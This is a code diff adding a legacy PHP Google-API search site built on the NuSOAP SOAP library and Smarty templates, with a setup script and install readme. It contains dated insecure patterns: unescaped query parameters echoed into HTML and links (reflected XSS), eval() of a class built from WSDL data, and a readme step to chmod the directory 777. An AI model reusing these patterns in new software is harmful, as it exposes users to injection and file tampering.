+ foreach($value as $k => $v){
+ if(strpos($typeDef['arrayType'],':')){
+ $contents .= $this->serializeType('item',$typeDef['arrayType'],$v);
+ } else {
+ $contents .= $this->serialize_val($v,'item',$typeDef['arrayType'],null,$this->XMLSchemaVersion);
+ }
+ }
+ }
+ $xml = "<$name xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').":Array\" ".
+ $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/')
+ .":arrayType=\""
+ .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType']))
+ .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">\n"
+ .$contents
+ ."</$name>\n";
+ }
+ return $xml;
+ }
+}
+
+?>
+<?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+*
+* soap_parser class parses SOAP XML messages
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @version v 0.051
+* @access public
+*/
+class soap_parser extends nusoap_base {
+ /**
+ * constructor
+ *
+ * @param string $xml SOAP message
+ * @param string $encoding character encoding scheme of message
+ * @access public
+ */
+ function soap_parser($xml,$encoding="UTF-8",$method=""){
+ $this->xml = $xml;
+ $this->xml_encoding = $encoding;
+ $this->method = $method;
+ $this->root_struct = "";
+ $this->root_struct_name = "";
+ $this->root_header = "";
+ // determines where in the message we are (envelope,header,body,method)
+ $this->status = "";
+ $this->position = 0;
+ $this->depth = 0;
+ $this->default_namespace = "";
+ $this->namespaces = array();
+ $this->message = array();
+ $this->fault = false;
+ $this->fault_code = "";
+ $this->fault_str = "";
+ $this->fault_detail = "";
+ $this->errstr = "";
+ $this->depth_array = array();
+ $this->debug_flag = true;
+ $this->debug_str = "";
+ $this->soapresponse = NULL;
+ $this->responseHeaders = "";
+ // for multiref parsing:
+ // array of id => pos
+ $this->ids = array();
+ // array of id => hrefs => pos
+ $this->multirefs = array();
+
+ $this->entities = array ( "&" => "&", "<" => "<", ">" => ">",
+ "'" => "'", '"' => """ );
+
+ // Check whether content has been read.
+ if(!empty($xml)){
+ $this->debug("Entering soap_parser()");
+ // Create an XML parser.
+ $this->parser = xml_parser_create($this->xml_encoding);
+ // Set the options for parsing the XML data.
+ //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
+ xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+ // Set the object for the parser.
+ xml_set_object($this->parser, &$this);
+ // Set the element handlers for the parser.
+ xml_set_element_handler($this->parser, "start_element","end_element");
+ xml_set_character_data_handler($this->parser,"character_data");
+ //xml_set_default_handler($this->parser, "default_handler");
+
+ // Parse the XML file.
+ if(!xml_parse($this->parser,$xml,true)){
+ // Display an error message.
+ $err = sprintf("XML error on line %d: %s",
+ xml_get_current_line_number($this->parser),
+ xml_error_string(xml_get_error_code($this->parser)));
+ $this->debug("parse error: $err");
+ $this->errstr = $err;
+ } else {
+ $this->debug("parsed successfully, found root struct: $this->root_struct of name $this->root_struct_name");
+ // get final value
+ $this->soapresponse = $this->message[$this->root_struct]['result'];
+ // get header value
+ if($this->root_header != ""){
+ $this->responseHeaders = $this->message[$this->root_header]['result'];
+ }
+ }
+ xml_parser_free($this->parser);
+ } else {
+ $this->debug("xml was empty, didn't parse!");
+ $this->errstr = "xml was empty, didn't parse!";
+ }
+ }
+
+ /**
+ * start-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @param string $attrs associative array of attributes
+ * @access private
+ */
+ function start_element($parser, $name, $attrs) {
+ // position in a total number of elements, starting from 0
+ // update class level pos
+ $pos = $this->position++;
+ // and set mine
+ $this->message[$pos]["pos"] = $pos;
+ // depth = how many levels removed from root?
+ // set mine as current global depth and increment global depth value
+ $this->message[$pos]["depth"] = $this->depth++;
+
+ // else add self as child to whoever the current parent is
+ if($pos != 0){
+ $this->message[$this->parent]["children"] .= "|$pos";
+ }
+ // set my parent
+ $this->message[$pos]["parent"] = $this->parent;
+ // set self as current parent
+ $this->parent = $pos;
+ // set self as current value for this depth
+ $this->depth_array[$this->depth] = $pos;
+ // get element prefix
+ if(strpos($name,":")){
+ // get ns prefix
+ $prefix = substr($name,0,strpos($name,":"));
+ // get unqualified name
+ $name = substr(strstr($name,":"),1);
+ }
+ // set status
+ if($name == "Envelope"){
+ $this->status = "envelope";
+ } elseif($name == "Header"){
+ $this->root_header = $pos;
+ $this->status = "header";
+ } elseif($name == "Body"){
+ $this->status = "body";
+ $this->body_position = $pos;
+ // set method
+ } elseif($this->status == "body" && $pos == ($this->body_position+1)){
+ //if($name == $this->method."Response" || $name == $this->method || $name == "Fault"){
+ $this->status = "method";
+ $this->root_struct_name = $name;
+ $this->root_struct = $pos;
+ $this->message[$pos]["type"] = "struct";
+ $this->debug("found root struct $this->root_struct_name, pos $pos");
+ //}
+ }
+ // set my status
+ $this->message[$pos]["status"] = $this->status;
+ // set name
+ $this->message[$pos]["name"] = htmlspecialchars($name);
+ // set attrs
+ $this->message[$pos]["attrs"] = $attrs;
+ // get namespace
+ if($prefix){
+ $this->message[$pos]["namespace"] = $this->namespaces[$prefix];
+ $this->default_namespace = $this->namespaces[$prefix];
+ } else {
+ $this->message[$pos]["namespace"] = $this->default_namespace;
+ }
+ // loop through atts, logging ns and type declarations
+ foreach($attrs as $key => $value){
+
+ // if ns declarations, add to class level array of valid namespaces
+ if(strpos($key,'xmlns:')){
+ $prefix = substr(strrchr($key,":"),1);
+ if(ereg('^http://www.w3.org/[0-9]{4}/XMLSchema$',$value)){
+ global $XMLSchemaVersion,$namespaces;
+ $XMLSchemaVersion = $value;
+ $namespaces["xsd"] = $XMLSchemaVersion;
+ $namespaces["xsi"] = $XMLSchemaVersion."-instance";
+ }
+ $this->namespaces[substr(strrchr($key,":"),1)] = $value;
+ // set method namespace
+ if($name == $this->root_struct_name){
+ $this->methodNamespace = $value;
+ }
+ // if it's a type declaration, set type
+ } elseif(strpos($key,":type")){
+ $this->message[$pos]["type"] = substr(strrchr($value,":"),1);
+ $this->message[$pos]["typePrefix"] = substr($value,0,strpos($key,":")-1);
+ // should do something here with the namespace of specified type?
+ } elseif(strpos($key,":arrayType")){
+ $this->message[$pos]['type'] = 'array';
+ /* do arrayType ereg here
+ [1] arrayTypeValue ::= atype asize
+ [2] atype ::= QName rank*
+ [3] rank ::= '[' (',')* ']'
+ [4] asize ::= '[' length~ ']'
+ [5] length ::= nextDimension* Digit+
+ [6] nextDimension ::= Digit+ ','
+ */
+ $expr = "([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]";
+ if(ereg($expr,$value,$regs)){
+ $this->message[$pos]['typePrefix'] = $regs[1];
+ $this->message[$pos]['arraySize'] = $regs[3];
+ $this->message[$pos]['arrayCols'] = $regs[4];
+ }
+ }
+ // log id
+ if($key == "id"){
+ $this->ids[$value] = $pos;
+ }
+ // root
+ if(strpos($key,":root") && $value == 1){
+ $this->status = "method";
+ $this->root_struct_name = $name;
+ $this->root_struct = $pos;
+ $this->debug("found root struct $this->root_struct_name, pos $pos");
+ }
+ }
+ }
+
+ /**
+ * end-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @access private
+ */
+ function end_element($parser, $name) {
+ // position of current element is equal to the last value left in depth_array for my depth
+ $pos = $this->depth_array[$this->depth];
+ // bring depth down a notch
+ $this->depth--;
+
+ // build to native type
+ if($pos > $this->body_position){
+ // deal w/ multirefs
+ if(isset($this->message[$pos]['attrs']['href'])){
+ // get id
+ $id = substr($this->message[$pos]['attrs']['href'],1);
+ // add placeholder to href array
+ $this->multirefs[$id][$pos] = "placeholder";
+ // add set a reference to it as the result value
+ $this->message[$pos]['result'] =& $this->multirefs[$id][$pos];
+ } elseif($this->message[$pos]['children'] != ""){
+ $this->message[$pos]['result'] = $this->buildVal($pos);
+ } else {
+ $this->message[$pos]['result'] = $this->message[$pos]['cdata'];
+ }
+ }
+
+ // switch status
+ if($pos == $this->root_struct){
+ $this->status = "body";
+ } elseif(eregi(":Body",$name)){
+ $this->status = "header";
+ } elseif(eregi(":Header",$name)){
+ $this->status = "envelope";
+ } elseif(eregi(":Envelope",$name)){
+ // resolve hrefs/ids
+ if(sizeof($this->multirefs) > 0){
+ foreach($this->multirefs as $id => $hrefs){
+ $this->debug("resolving multirefs for id: $id");
+ foreach($hrefs as $refPos => $ref){
+ $this->debug("resolving href at pos $refPos");
+ $this->multirefs[$id][$refPos] = $this->buildval($this->ids[$id]);
+ }
+ }
+ }
+ }
+ // set parent back to my parent
+ $this->parent = $this->message[$pos]["parent"];
+ }
+
+ /**
+ * element content handler
+ *
+ * @param string $parser XML parser object
+ * @param string $data element content
+ * @access private
+ */
+ function character_data($parser, $data){
+ $pos = $this->depth_array[$this->depth];
+ $this->message[$pos]["cdata"] .= $data;
+ }
+
+ /**
+ * get the parsed message
+ *
+ * @return object SOAPx4 soap_val object
+ * @access public
+ */
+ function get_response(){
+ return $this->soapresponse;
+ }
+
+ /**
+ * get the parsed headers
+ *
+ * @return mixed object SOAPx4 soapval object or empty if no headers
+ * @access public
+ */
+ function getHeaders(){
+ return $this->responseHeaders;
+ }
+
+ /**
+ * decodes entities
+ *
+ * @param string $text string to translate
+ * @access private
+ */
+ function decode_entities($text){
+ foreach($this->entities as $entity => $encoded){
+ $text = str_replace($encoded,$entity,$text);
+ }
+ return $text;
+ }
+
+ /**
+ * builds response structures for compound values (arrays/structs)
+ *
+ * @param string $pos position in node tree
+ * @access private
+ */
+ function buildVal($pos){
+ // build self
+ $this->debug("inside buildVal() for ".$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]["type"]);
+ // if there are children...
+ if($this->message[$pos]["children"] != ""){
+ $children = explode("|",$this->message[$pos]["children"]);
+ array_shift($children); // knock off empty
+ // loop thru them, getting params
+ foreach($children as $child_pos){
+ // md array
+ if($this->message[$pos]['arrayCols']){
+ $this->debug("got an MD array element: $r, $c");
+ $params[$r][] = $this->message[$child_pos]['result'];
+ $c++;
+ if($c == $this->message[$pos]['arrayCols']){
+ $c = 0;
+ $r++;
+ }
+ } elseif($this->message[$pos]['type'] == 'array'){
+ $params[] =& $this->message[$child_pos]['result'];
+ } else {
+ $params[$this->message[$child_pos]["name"]] =& $this->message[$child_pos]['result'];
+ }
+ }
+ return is_array($params) ? $params : array();
+ } else {
+ //return $this->message[$pos]['cdata'];
+ return strtr($this->message[$pos]['cdata'],array_flip($this->entities));
+ }
+ }
+
+ /**
+ * for building SOAP header values
+ *
+ * @param string $pos position in node tree
+ * @access private
+ */
+ function buildSoapVal($pos){
+ // if there are children...
+ if($this->message[$pos]["children"] != ""){
+ $children = explode("|",$this->message[$pos]["children"]);
+ // loop thru them, getting params
+ foreach($children as $c => $child_pos){
+ if($this->message[$child_pos]["type"] != NULL) {
+ $this->debug("adding ".$this->message[$child_pos]["name"].", pos: $child_pos");
+ $params[] = $this->message[$child_pos]['result'];
+ }
+ }
+ }
+ // build self
+ $this->debug("building ".$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]["type"]);
+ if($params){
+ return new soapval($this->message[$pos]["name"], $this->message[$pos]["type"] , $params);
+ } else {
+ return new soapval($this->message[$pos]["name"], $this->message[$pos]["type"] , $this->message[$pos]["cdata"]);
+ }
+ }
+}
+
+?>
+<?php
+
+/**
+*
+* soapclient higher level class for easy usage.
+*
+* usage:
+*
+* // instantiate client with server info
+* $soapclient = new soapclient( string path [ ,boolean wsdl] );
+*
+* // call method, get results
+* echo $soapclient->call( string methodname [ ,array parameters] );
+*
+* // bye bye client
+* unset($soapclient);
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @version v 0.6
+* @access public
+*/
+class soapclient extends nusoap_base {
+
+ var $username;
+ var $password;
+ var $requestHeaders = false;
+ var $responseHeaders;
+ var $endpoint;
+ var $portName;
+ var $error_str = false;
+
+ /**
+ * fault related variables
+ *
+ * @var fault
+ * @var faultcode
+ * @var faultstring
+ * @var faultdetail
+ * @access public
+ */
+ var $fault, $faultcode, $faultstring, $faultdetail;
+
+ /**
+ * constructor
+ *
+ * @param string $endpoint SOAP server or WSDL URL
+ * @param string $wsdl optional, set to true if using WSDL
+ * @param int $portName optional portName in WSDL document
+ * @access public
+ */
+ function soapclient($endpoint,$wsdl="",$portName=""){
+ $this->endpoint = $endpoint;
+ $this->portName = $portName;
+
+ // make values
+ if($wsdl != ""){
+ $this->endpointType = "wsdl";
+ $this->wsdlFile = $this->endpoint;
+ if($portName != ""){
+ $this->portName = $portName;
+ }
+ // instantiate wsdl object and parse wsdl file
+ $this->debug("instantiating wsdl class with doc: $endpoint");
+ $this->wsdl = new wsdl($this->wsdlFile);
+ // catch errors
+ if($errstr = $this->wsdl->getError()){
+ $this->debug("got wsdl error: $errstr");
+ $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+ $this->setError('wsdl error: '.$errstr);
+ } elseif($this->operations = $this->wsdl->getOperations()){
+ $this->debug( "got ".count($this->operations)." operations from wsdl $this->wsdlFile<br>");
+ }
+ }
+ }
+
+ /**
+ * calls method, returns PHP native type
+ *
+ * @param string $method SOAP server URL or path
+ * @param array $params array of parameters, can be associative or not
+ * @param string $namespace optional method namespace
+ * @param string $soapAction optional SOAPAction value
+ * @param boolean $headers optional array of soapval objects for headers
+ * @return mixed
+ * @access public
+ */
+ function call($operation,$params=array(),$namespace="",$soapAction="",$headers=false){
+ $this->operation = $operation;
+ $this->fault = false;
+ $this->error_str = "";
+ $this->request = "";
+ $this->response = "";
+ $this->faultstring = "";
+ $this->faultcode = "";
+ $this->opData = array();
+ // if wsdl, get operation data and process parameters
+ if($this->endpointType == "wsdl" && $opData = $this->getOperationData($operation)){
+
+ $this->opData = $opData;
+ $soapAction = $opData["soapAction"];
+ $this->endpoint = $opData['endpoint'];
+ $this->portName = $opData['portName'];
+ $namespace = $opData['input']['namespace'];
+ $style = $opData['style'];
+ // add ns to ns array
+ if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){
+ $this->wsdl->namespaces['galactivism'] = $namespace;
+ }
+ // serialize payload
+ if($style == 'rpc'){
+ $payload .= "<".$this->wsdl->getPrefixFromNamespace($namespace).":$operation>\n".
+ $this->wsdl->serializeRPCParameters($operation,'input',$params).
+ "</".$this->wsdl->getPrefixFromNamespace($namespace).":$operation>\n";
+ } elseif($opData['input']['use'] == 'literal') {
+ $payload .= array_shift($params);
+ }
+ // serialize envelope
+ $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$this->wsdl->usedNamespaces);
+ $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+ } elseif($this->endpointType == "wsdl") {
+ $this->setError( "operation $operation not present.");
+ $this->debug("operation '$operation' not present.");
+ $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+ return false;
+ // no wsdl
+ } else {
+ // make message
+ if(!$style){
+ $style = 'rpc';
+ }
+ // add ns to ns array
+ if($namespace != ''){
+ $this->namespaces['galactivism'] = $namespace;
+ }
+ // serialize envelope
+ foreach($params as $k => $v){
+ $payload .= $this->serialize_val($v,$k);
+ }
+ $payload = "<galactivism:$operation>\n".$payload."</galactivism:$operation>\n";
+ $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders);
+ }
+ $this->debug("endpoint: $this->endpoint, soapAction: $soapAction, namespace: $namespace");
+ // send
+ $this->debug("sending msg (len: ".strlen($soapmsg).") w/ soapaction '$soapAction'...");
+ $return = $this->send($soapmsg,$soapAction);
+ if($errstr = $this->getError()){
+ $this->debug("Error: $errstr");
+ return false;
+ } else {
+ $this->return = $return;
+ $this->debug($dbg."sent message successfully and got a(n) ".gettype($return)." back");
+
+ // fault?
+ if(is_array($return) && $return['faultcode']){
+ $this->debug("got fault");
+ $this->setError($return['faultcode'].': '.$return['faultstring']);
+ $this->fault = true;
+ foreach($return as $k => $v){
+ $this->$k = $v;
+ $this->debug("$k = $v<br>");
+ }
+ return $return;
+ } else {
+ // array of return values
+ if(is_array($return)){
+ // multiple 'out' parameters
+ if(sizeof($return) > 1){
+ return $return;
+ }
+ // single 'out' parameter
+ return array_shift($return);
+ // nothing returned (ie, echoVoid)
+ } else {
+ return "";
+ }
+ }
+ }
+ }
+
+ /**
+ * get available data pertaining to an operation
+ *
+ * @param string $operation operation name
+ * @return array array of data pertaining to the operation
+ * @access public
+ */
+ function getOperationData($operation){
+ if(isset($this->operations[$operation])){
+ return $this->operations[$operation];
+ }
+ }
+
+ /**
+ * send the SOAP message
+ *
+ * Note: if the operation has multiple return values
+ * the return value of this method will be an array
+ * of those values.
+ *
+ * @param string $msg a SOAPx4 soapmsg object
+ * @param string $soapaction SOAPAction value
+ * @param integer $timeout set timeout in seconds
+ * @return mixed native PHP types.
+ * @access public
+ */
+ function send($msg, $soapaction = "", $timeout=0) {
+ // detect transport
+ switch(true){
+ // http(s)
+ case ereg('^http',$this->endpoint):
+ $this->debug('transporting via HTTP');
+ //require_once('class.soap_transport_http.php');
+ $http = new soap_transport_http($this->endpoint);
+ $http->setSOAPAction($soapaction);
+ if($this->proxyhost && $this->proxyport){
+ $http->setProxy($this->proxyhost,$this->proxyport);
+ }
+ $this->debug('sending message, length: '.strlen($msg));
+ if(ereg('^http:',$this->endpoint)){
+ $response = $http->send($msg,$timeout);
+ } elseif(ereg('^https',$this->endpoint)){
+ if (!extension_loaded('curl')) {
+ $this->setError('CURL Extension is required for HTTPS');
+ return false;
+ }
+ $response = $http->sendHTTPS($msg,$timeout);
+ }
+ $this->debug("transport debug data...\n".$http->debug_str);
+ $this->request = $http->outgoing_payload;
+ $this->response = $http->incoming_payload;
+ if($err = $http->getError()){
+ $this->setError("HTTP Error: $err");
+ return false;
+ }
+ $this->debug('got response, length: '.strlen($response));
+ return $this->parseResponse($response);
+ break;
+ default:
+ $this->setError('no transport found, or selected transport is not yet supported!');
+ return false;
+ break;
+ }
+ }
+
+ /**
+ * processes SOAP message returned from server
+ *
+ * @param string unprocessed response data from server
+ * @return object SOAPx4 soapval object
+ * @access public
+ */
+ function parseResponse($data) {
+ $this->debug("Entering parseResponse(), about to create soap_parser instance");
+ $parser = new soap_parser($data,$this->xml_encoding,$this->operation);
+ // if parse errors
+ if($errstr = $parser->getError()){
+ $this->setError( $errstr);
+ // destroy the parser object
+ unset($parser);
+ return false;
+ } else {
+ // get SOAP headers
+ $this->responseHeaders = $parser->getHeaders();
+ // get decoded message
+ $return = $parser->get_response();
+ // add parser debug data to our debug
+ $this->debug($parser->debug_str);
+ // destroy the parser object
+ unset($parser);
+ // return decode message
+ return $return;
+ }
+ }
+
+ /**
+ * set the SOAP headers
+ *
+ * @param $headers string XML
+ * @access public
+ */
+ function setHeaders($headers){
+ $this->requestHeaders = $headers;
+ }
+
+ /**
+ * get the response headers
+ *
+ * @return mixed object SOAPx4 soapval object or empty if no headers
+ * @access public
+ */
+ function getHeaders(){
+ if($this->responseHeaders != "") {
+ return $this->responseHeaders;
+ }
+ }
+
+ /**
+ * set proxy info here
+ *
+ * @param string $proxyhost
+ * @param string $proxyport
+ * @access public
+ */
+ function setHTTPProxy($proxyhost, $proxyport) {
+ $this->proxyhost = $proxyhost;
+ $this->proxyport = $proxyport;
+ }
+
+ /**
+ * if authenticating, set user credentials here
+ *
+ * @param string $username
+ * @param string $pword
+ * @access public
+ */
+ function setCredentials($username, $pword) {
+ $this->user = $username;
+ $this->pass = $pword;
+ }
+
+ /**
+ * dynamically creates proxy class, allowing user to directly call methods from wsdl
+ *
+ * @return object soap_proxy object
+ * @access public
+ */
+ function getProxy(){
+ foreach($this->operations as $operation => $opData){
+ if($operation != ""){
+ // create param string
+ if(sizeof($opData['input']['parts']) > 0){
+ foreach($opData["input"]["parts"] as $name => $type){
+ $paramStr .= "\$$name,";
+ }
+ $paramStr = substr($paramStr,0,strlen($paramStr)-1);
+ }
+ $evalStr .= "
+ function $operation ($paramStr){
+ // load params into array
+ \$params = array($paramStr);
+ return \$this->call('$operation',\$params,'".$opData['namespace']."','".$opData['soapAction']."');
+ }
+ ";
+ unset($paramStr);
+ }
+ }
+ $evalStr = "
+ class soap_proxy extends soapclient {
+ $evalStr
+ }
+ ";
+ //print "proxy class:<pre>$evalStr</pre>";
+ // eval the class
+ eval($evalStr);
+ // instantiate proxy object
+ $proxy = new soap_proxy("");
+ // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice
+ $proxy->endpointType = 'wsdl';
+ $proxy->wsdlFile = $this->wsdlFile;
+ $proxy->wsdl = $this->wsdl;
+ $proxy->operations = $this->operations;
+ return $proxy;
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+ include_once('background.php');
+ include_once('htmlfuncs.php');
+ include_once(SmartyClass());
+
+ function CurrentPage($Start, $MaxPerPage)
+ {
+ $CurrentPage = floor($Start / $MaxPerPage) + 1;
+
+ return $CurrentPage;
+ }
+
+ function MinPage($CurrentPage, $Start, $Total, $MaxPerPage)
+ {
+ $MinPage = $CurrentPage - PageSpread();
+ if ($MinPage < 1)
+ {
+ $MinPage = 1;
+ }
+
+ return $MinPage;
+ }
+
+ function MaxPage($CurrentPage, $Start, $Total, $MaxPerPage)
+ {
+ if ($Start + PageSpread() >= $Total)
+ {
+ $MaxPage = $CurrentPage;
+ }
+ else
+ {
+ $MaxPage = ceil($Total / $MaxPerPage);
+ if ($MaxPage - PageSpread() >= $CurrentPage)
+ {
+ $MaxPage = $CurrentPage + PageSpread();
+ }
+ }
+ return $MaxPage + 1;
+ }
+
+ function PageMenu($Query, $Site, $Start, $Total, $MaxPerPage)
+ {
+ $CurrentPage = CurrentPage($Start, $MaxPerPage);
+
+ $Site = GetParam("Site", "");
+
+ $MinPage = MinPage($CurrentPage, $Start, $Total, $MaxPerPage);
+ $MaxPage = MaxPage($CurrentPage, $Start, $Total, $MaxPerPage);
+
+ for ($i = $MinPage; $i < $MaxPage; $i++)
+ {
+ $PageNumber[$i-1] = $i;
+ $Page[$i-1] = $GLOBALS["PHP_SELF"]."?Query=".$Query."&Site=".$Site."&Start=".(($i-1)*$MaxPerPage);
+ }
+
+ //return $Result;
+ $PageMenuTemplate = new Smarty;
+ $PageMenuTemplate->compile_dir = SmartyCompileDir();
+ $PageMenuTemplate->Assign('NumPages', $i + 1);
+ $PageMenuTemplate->Assign('Page', $Page);
+ $PageMenuTemplate->Assign('PageNumber', $PageNumber);
+
+ return $PageMenuTemplate->fetch('pagemenu.tpl.htm');
+ }
+?>
--- /dev/null
+<div align="center">
+ <center><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber1">
+ <tr>
+ <td colspan="{$NumPages}">
+ <p align="center"><font face="Verdana">Page</font></td>
+ </tr>
+ <tr>
+ {section name=i loop=$Page}
+ <td><font face="Verdana"> <a href="{$Page[i]}">{$PageNumber[i]}</a> </font></td>
+ {/section}
+ </tr>
+</table></center>
+</div>
\ No newline at end of file
--- /dev/null
+1. Copy files to a directory.
+2. Modify background.php with a text editor.
+
+ function MainSearchSite()
+ {
+ return "thinkbling.com";//Leave blank for the entire web.
+ }
+
+ function GoogleKey()
+ {
+ return "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
+ }
+
+ a. Where it says "thinkbling.com", choose your target site or leave blank to have all.
+ b. If you want all Also modify the options function to return false.
+ c. Get your Google Key from http://www.google.com/apis/
+ There you will need to sign up with Google to get your key.
+
+3. CHMOD the directory that you created to 777.
+4. Run setup.php.
+5. CMHMOD the directory back to the original value (Probably 755).
+
+
+VERY IMPORTANT NOTE:
+This download contains nusoap.php and Smarty and is restricted by the license detailed at
+ http://dietrich.ganx4.com/nusoap/
+and...
+ http://smarty.php.net/copyright.php
--- /dev/null
+<?php
+ include_once('nusoap.php');
+ include_once('htmlfuncs.php');
+ include_once('background.php');
+ include_once('pagemenu.php');
+ include_once(SmartyClass());
+
+ function SearchResults()
+ {
+ //Create template object.
+ $ResultsTemplate = new Smarty;
+ $ResultsTemplate->compile_dir = FullSmartyCompileDir();
+
+ $Query = GetParam("Query", "");
+
+ if ($Query == "")
+ {
+ return;
+ }
+
+ $Site = GetParam("Site", "");
+ if ($Site != "")
+ {
+ $Site = " site:$Site";
+ }
+
+ $Start = intval(GetParam("Start", 0));
+
+ $GoogleKey = GoogleKey();
+ $GoogleAPIURL = GoogleAPIURL();
+ $MaxResults = MaxResults();
+
+ $Param = array("key" => $GoogleKey,
+ "q" => $Query.$Site,
+ "start" => $Start,
+ "maxResults" => $MaxResults,
+ "filter" => false,
+ "restrict" => "",
+ "safeSearch" => false,
+ "lr" => "lang_en",
+ "ie" => "",
+ "oe" => "");
+
+ // Create a new client by providing the endpoint to the constructor.
+ $Client = new soapclient($GoogleAPIURL);
+
+ $QueryResult = $Client->call("doGoogleSearch", $Param, "urn:GoogleSearch");
+ $Searchtime = $QueryResult["searchTime"];
+ $Begin = $Start + 1;
+ $End = $Start + $Param["maxResults"];
+ $Total = $QueryResult["estimatedTotalResultsCount"];
+
+ if ($Total > 0)
+ {
+ $QueryResult = $QueryResult["resultElements"];
+
+ for ($i = 0; $i < $MaxResults; $i++)
+ {
+ $Element = $QueryResult[$i];
+ $Snippet[$i] = $Element["snippet"];
+ $URL[$i] = $Element["URL"];
+ $Title[$i] = $Element["title"];
+ }
+ }
+ $ResultsTemplate->Assign('Snippet', $Snippet);
+ $ResultsTemplate->Assign('URL', $URL);
+ $ResultsTemplate->Assign('Title', $Title);
+
+ $Result = $ResultsTemplate->fetch('results.tpl.htm') . PageMenu($Query, $Site, $Start, $Total, $MaxResults);
+
+ return $Result;
+ }
+
+?>
\ No newline at end of file
--- /dev/null
+<font face="Verdana" size="2">{$SearchResults}</font><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber1">
+{section name=i loop=$Title}
+ <tr>
+ <td width="100%"><b><font face="Verdana"><a href="{$URL[i]}">{$Title[i]}</a></font></b></td>
+ </tr>
+ <tr>
+ <td width="100%"><font face="Verdana" size="2">{$Snippet[i]}</font></td>
+ </tr>
+ <tr>
+ <td width="100%"><font face="Verdana" size="1">{$URL[i]}</font></td>
+ </tr>
+ <tr>
+ <td width="100%"><font face="Verdana" size="1"> </font></td>
+ </tr>
+{/section}
+</table>
\ No newline at end of file
--- /dev/null
+<?php
+ include_once('background.php');
+ include_once('htmlfuncs.php');
+ include_once(SmartyClass());
+
+ function Search()
+ {
+ $Query = GetParam("Query", "");
+ $Site = GetParam("Site", "cyngusinc.com");
+
+ $SearchTemplate = new Smarty;
+ $SearchTemplate->compile_dir = FullSmartyCompileDir();
+ $SearchTemplate->Assign('Query', $Query);
+
+ if (ShowOptions())
+ {
+ $SearchTemplate->assign('Options', array(MainSearchSite() => MainSearchSite(),
+ "" => 'The World'));
+ $SearchTemplate->Assign('Selected', $Site);
+ }
+
+ return $SearchTemplate->fetch('search.tpl.htm');
+ }
+?>
--- /dev/null
+<div align="center">
+ <form method="GET" action="index.php">
+ <table border="0" cellspacing="0" id="AutoNumber1" cellpadding="0">
+ <tr>
+ <td>
+{$SearchType} Search:
+ <input type="text" name="Query" value="{$Query}"><input type="submit" value="Search" name="BSearch"></p>
+ </td>
+ </tr>
+ <tr>
+ <td align="center">{html_radios name="Site" options=$Options selected=$Selected separator=" "}</td>
+ </tr>
+ </table>
+ </form>
+</div>
--- /dev/null
+<?php
+ include_once("background.php");
+
+ //If the Smarty compile directory is supposed to be a subdirectory then
+ // then use that to get determine the path.
+ $CompileDir = FullSmartyCompileDir();
+
+ //If $CompileDir does not exist then try to create it.
+ if (!is_dir($CompileDir))
+ {
+ @mkdir($CompileDir, 0755);
+ }
+
+ if (!is_dir($CompileDir))
+ {
+ echo ("Can not create \"$CompileDir\".");
+ return;
+ }
+
+ //Make certain that the director has the correct permissions.
+ if (!chmod($CompileDir, 0755))
+ {
+ echo ("Could not set \"$CompileDir\" to have the correct permissions.");
+ }
+ else//All is well.
+ {
+ echo ("The setup is complete.<br>Please delete this file.");
+ }
+?>
\ No newline at end of file
--- /dev/null
+<?php
+
+/**
+ * Config_File class.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * @link http://smarty.php.net/
+ * @version 2.6.2
+ * @copyright Copyright: 2001-2004 ispi of Lincoln, Inc.
+ * @author Andrei Zmievski <andrei@php.net>
+ * @access public
+ * @package Smarty
+ */
+
+/* $Id: Config_File.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * Config file reading class
+ * @package Smarty
+ */
+class Config_File {
+ /**#@+
+ * Options
+ * @var boolean
+ */
+ /**
+ * Controls whether variables with the same name overwrite each other.
